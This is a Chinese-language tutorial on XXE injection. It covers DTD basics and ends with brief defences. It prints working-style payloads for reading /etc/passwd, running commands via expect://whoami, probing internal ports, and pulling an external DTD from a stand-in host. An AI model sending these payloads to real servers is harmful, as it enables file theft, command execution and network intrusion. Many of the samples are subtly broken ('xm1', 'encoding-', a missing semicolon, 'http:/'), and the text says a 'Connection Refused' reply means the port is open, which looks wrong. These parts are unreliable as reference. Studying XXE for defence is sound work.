1 漏洞简介
-
XXE(XML External Entity Injection)xml 外部实体注入漏洞是一种攻击方式,主要针对使用 XML 解析器的应用程序。该漏洞的影响范围取决于应用程序中使用的 XML 解析器以及其配置。
-
XXE 漏洞发生在引用程序解析 XML 输入时,没用禁止外部实体的加载,导致可加载外部恶意文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起 dos 攻击等危害。
-
XXE 漏洞触发的点往往是可以上传 xml 文件的位置,没有对上传的 xml 文件进行过滤,导致可上传恶意 xml 文件。
2 漏洞影响范围
(1)任意文件读取
如果攻击者可以控制服务器解析的XML文档的内容,引入攻击者想要读取的文件内容作为外部实体,即可尝试读取任意的文件内容。如攻击者构造如下的XML文档就会将/etc/passwd文件的内容引入进来并回显在页面中,造成敏感文件内容泄露。
<?xm1 version="1.0" encoding-"utf-8"?> <!DOCTYPE ANY[ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <x>&xxe;</x>
(2)执行系统命令
如果服务器环境中安装了某些特定的扩展,即可利用其造成任意命令执行,如攻击者构造如下的XML文档:
<?xml version="1.0" encoding-"utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://whoami"> ]> <x>&xxe;</x>
在安装expect扩展的PHP环境中,PHP解析上面的XML文档,即会执行whoami的系统命令,并将结果回显。
(3)探测内网接口
如果Web服务器的的执行环境在内网,则可以通过请求内网IP的某个端口来判断该IP 的相应端口是否开放,这可以通过直接引用外部实体的方式引入要访问该端口的链接即可实现:
<?xm1 version="1.0" encoding="utf-8"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM http://192.168.1.1:81/mark ]> <x>&xxe</x>
如果回显结果为“Connection Refused”,即可以判断该IP的81端口是开放的。
(4)攻击内网环境
服务器执行XML文档的环境本身在内网,因此XXE漏洞就类似于SSRF攻击,再结合内网中其他主机的漏洞,进一步进行内网渗透。
3 漏洞详解
要了解 XXE 漏洞的原理,需要了解一下 XML 格式(一种数据传输格式 DTD)
-
一些应用程序使用 XML 格式在浏览器和服务器之间进行传输数据。执行此操作的应用程序实际上总是使用标准库或平台 API 来处理服务器上的 XML 数据。XXE 漏洞的出现是因为 XML 规范就包含各种潜在危险的特性,而标准解析器支持这些特性,即使它们通常不被应用程序使用。
-
XML 外部实体是一种自定义 XML 实体,其定义的值是从声明它们的 DTD 外部加载的。从安全角度来看,外部实体特别值得关注,因为它们允许根据文件路径或 URL 的内容定义实体
-
DTD 基本概念 XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 (document type definition) 的东西控制的。DTD 用来为 XML 文档定义语义约束。可以嵌入在 XML 文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是 XML 文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。
-
实体引用
-
XML 元素以形如
<tag>foo</tag>
的标签开始和结束,如果元素内部出现如< 的特殊字符,解析就会失败,为了避免这种情况,XML 用实体引用(entity reference)替换特殊字符。XML 预定义五个实体引用,即用< > & ' "
替换< > & ' "
。 -
实体引用可以起到类似宏定义和文件包含的效果,为了方便,我们会希望自定义实体引用,这个操作在称为 Document Type Defination(DTD,文档类型定义)的过程中进行。
-
DTD 的引入方式
-
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
(1)使用内部的 DTD 文件,即将约束规则定义在 xml 文档中 <!DOCTYPE 根元素名称 [元素声明]>
-
示例
<?xml version="1.0"?> <!DOCTYPE note [<!--定义此文档是 note 类型的文档--> <!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素--> <!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型--> ]> <note> <to>Y0u</to> <from>@re</from> <head>v3ry</head> <body>g00d!</body> </note>
(2)外部 DTD
-
引入外部的 dtd 文件
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
-
使用外部的 dtd 文件(网络上的 dtd 文件)
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
-
当使用外部 DTD 时,通过如下语法引入
-
示例
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root-element SYSTEM "test.dtd"> <note> <to>Y0u</to> <from>@re</from> <head>v3ry</head> <body>g00d!</body> </note> <!-- test.dtd --> <!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型--> <!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型--> <!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型--> <!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
-
PCDATA PCDATA 的意思是被解析的字符数据。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。 被解析的字符数据不应当包含任何
&,<,或者>
字符,需要用& < >
实体来分别替换。 -
CDATA CDATA 意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。
构建XXE漏洞
(1)直接通过DTD外部实体声明
<!DOCTYPE a [ <!ENTITY a SYSTEM "file:///etc/passwd"> ]>
(2)通过DTD文档引入外部DTD文档,再引入外部实体声明
<! DOCTYPE a SYSTEM "http:/test.com/abc.dtd">
dtd文档内容:<!ENTITY b SYSTEM "file:///etc/passwd" >
(3)通过DTD文档引入外部实体声明
<!DOCTYPE a [ <!ENTITY % d SYSTEM "http:/test.com/abc.dtd"> %d; ]>
dtd文档内容:<!ENTITY b SYSTEM "file:///etc/passwd" >
XXE漏洞的防御
●禁用外部实体的引入,比如:使用libxmldisableentity_loader(true)等方式。
●过滤如SYSTEM等敏感关键字,防止非正常、攻击性的外部实体引入操作。